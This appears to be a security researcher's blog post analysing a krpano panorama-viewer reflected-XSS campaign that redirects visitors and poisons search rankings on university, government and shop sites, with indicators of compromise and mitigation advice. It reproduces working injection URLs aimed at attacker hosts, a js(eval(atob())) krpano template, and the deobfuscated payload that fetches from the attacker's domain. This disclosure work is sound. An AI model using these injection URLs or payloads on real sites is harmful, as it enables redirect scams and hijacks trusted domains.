A krpano XSS redirect campaign, caught in CSP reports
A domain we'd never seen before, sb1es.com, popped up in our CSP threat-intel feed recently. It was flagged as a code/exfil hit against a customer site, and it looked like it might be a Magecart skimmer at first glance, so I started investigating.
It turns out, it wasn't a skimmer. What I found instead was a traffic-distribution system abusing a reflected XSS vulnerability in an ageing web component, a 360° panorama viewer, on sites that people trust. Universities, government departments, and a few shops too. The final payload passes traffic through a geo-targeted distribution system before delivering the scam.
sb1es.com had been registered only four days before we first saw it, but it's only the most recent domain used in a long chain of domains. The same technique, the same parameter names and the same payload structure can be traced all the way back to April 2025. The attackers just keep buying new domains and replacing the old one, presumably as they get flagged and blocked.
How a site becomes vulnerable
For this to work, the attacker does not need to compromise the victim's server or modify any files, the site serves exactly the same files it has always served. The entire injection lives in the URL, and it is enabled by one line of configuration:
embedpano({
xml:"indexdata/index.xml"
,target:"panoDIV"
,passQueryParameters:true // ← this enables the attack
});
passQueryParameters:true tells krpano to take the page's query string and turn every name=value pair into a krpano variable. One of those variables is xml, which is the file the viewer loads its configuration from, so anyone can point a trusted site's viewer at an attacker-controlled config:
https://victim.example/tour.html?xml=//attacker.example/evil.xml
Unfortunately, krpano XML is not inert data, it has an action language, and one of the actions is js(). An attacker can craft XML that looks like this:
<krpano onloaded="js(eval(atob('...')))" />
This would then run arbitrary JavaScript in the victim's origin. That is CVE-2020-24900, the flaw behind the 2025 "360XSS" campaign that abused Yale, CNN and a long list of government sites.
The variant used in this campaign chains two params, using krpano's escaped form of a protocol-relative URL, /\/, to bypass its path checks and a data: URL to bootstrap a minimal document that then loads the real payload:
https://victim.example/?xml=/\/us.googlo.top&pano=data:text/xml,
<krpano onstart="loadpano('/\/us.googlo.top/video/<id>');"></krpano>
krpano shipped a fix in 1.22.4 so data: URLs and external URLs are no longer accepted as parameter values, and the xml parameter is confined to the current folder structure. An older mitigation, the 1.20.10 allowlist, does not help if xml was explicitly added back to the allowlist.
What the krpano injection actually does
Here's the payload from inside that atob() above, I've cleaned it up so we can take a look:
fetch('https://sb1es.com/grav/x.php?yop=21578324')
.then(e => e.text())
.then(e => {
try { let r = JSON.parse(e); if (r.redirectUrl) { window.location.href = r.redirectUrl } }
catch (t) {
// rewrite every on-page link into another krpano-XSS URL pointing at the attacker host
document.write(e.replace(/(<a\s+[^>]*?)href="\.\/(\d+)\/"([^>]*?>)/g,
'$1href="?xml=/\\/us.googlo.top&pano=data:text/xml,<krpano onstart=\"loadpano(\'/\\/us.googlo.top/test/$2\');\"></krpano>"$3'));
}
});
We can see two behaviours depending on what the server says: either redirect the visitor, or rewrite the page's links into more krpano-XSS URLs on us.googlo.top, which is an SEO-poisoning attack that turns the trusted domain's Google ranking into a spam funnel.
The apparent aim is for the Googlebot to crawl a poisoned URL, find spam content and links to more poisoned URLs on the same trusted domain, and index or rank them using the authority of the victim's site.
The traffic-distribution system
us.googlo.top is a Google typosquat sitting behind Cloudflare, and it's where the redirector pulls its content from. Its root responds with, and I promise I'm not making this up, please post your data. Ask it for /test/<id> and you get another krpano js(eval) that sends you to the gateway:
https://go.iles.pics/all/P2/go.php?id=1&host=<victim host>
go.iles.pics (PHP 7.4 app also behind Cloudflare) 301s to a per-click token URL about 128 characters long, which lands you on a page that geo-gates. The us. prefix on us.googlo.top appears to be a geo selector: US visitors receive the offer, while my UK IP was dropped with Country not allowed.
The landing page carries a LiveInternet pixel (counter.yadro.ru), a Russian traffic tracker, which provides another useful fingerprint for identifying the same TDS infrastructure elsewhere.
The full chain:
victim site (krpano XSS)
→ sb1es.com/grav/x.php (redirect decision)
├─ redirectUrl (direct redirect)
└─ attacker HTML containing poisoned links
→ us.googlo.top/test/<id> (second-stage krpano XML)
→ go.iles.pics/all/P2/go.php (TDS entry, 301)
→ go.iles.pics/<~128-char token> (per-click URL)
→ geo-gated final offerThis didn't start with sb1es.com
Once I knew what the injection looked like, I went looking for it in public URL-scanner submissions. The same us.googlo.top trait goes back to April 2025, sixteen months before sb1es.com was even registered.
What changes between generations is the gateway domain, while the technique, the parameter names and the payload structure don't change at all.
| Gateway domain | Seen |
|---|---|
| go.gomore.online | 2025-04 |
| go.1bots.top | 2025-09 → 2025-10 |
| bvmeuro.info | 2025-10 |
| www.magictrrop.works | 2025-10 |
| go.iles.pics | 2025-10 → current |
Public scanner submissions show the same krpano injection being used against a US state government heritage site and a US public university in late 2025.
I'm not naming the still-vulnerable hosts because the state government one still embeds with passQueryParameters:true today. Ten months later, still exploitable, and establishing that takes nothing more than reading their page source.
That gap is really the whole point of this post, though. The technique was written up publicly in February 2025 and the framework has been patched, yet the campaign is still running. Because the fix depends on every individual site owner either upgrading krpano or changing their configuration, I imagine this issue will have a very long tail.
Indicators of Compromise
| Type | Indicator | Role |
|---|---|---|
| Domain | sb1es.com |
redirect controller / injected-script host |
| Domain | us.googlo.top (googlo.top) |
krpano XML / content host (geo bucket) |
| Domain | go.iles.pics (iles.pics) |
TDS gateway (current) |
| Domain | go.1bots.top (1bots.top) |
TDS gateway (2025) |
| Domain | bvmeuro.info |
TDS gateway (2025) |
| Domain | go.gomore.online (gomore.online) |
TDS gateway (2025) |
| Domain | www.magictrrop.works (magictrrop.works) |
TDS gateway (2025) |
| Path | sb1es.com/grav/x.php?grav= / ?yop= |
redirect decision endpoint |
| Path | sb1es.com/q/<digits> |
krpano XSS loader |
| Path | us.googlo.top/test/<id>, us.googlo.top/video/<id> |
second-stage krpano XML |
| Path | go.iles.pics/all/P2/go.php?id=&host= |
TDS entry |
| Pattern | go.iles.pics/<~128-char alnum token> |
per-click URL |
| krpano | ?xml=/\/us.googlo.top&pano=data:text/xml,<krpano onstart= |
injection URL shape |
| Tracker | counter.yadro.ru (LiveInternet) |
TDS fingerprint |
What you should do about it
If you're running krpano, update to 1.22.4 or later and set passQueryParameters:false in your embedpano() call. If you genuinely need query parameters, allowlist only the ones you use, and never include xml or pano.
Note: Victim-site vulnerability was confirmed by reading published page source only, no payload was sent to any third-party site.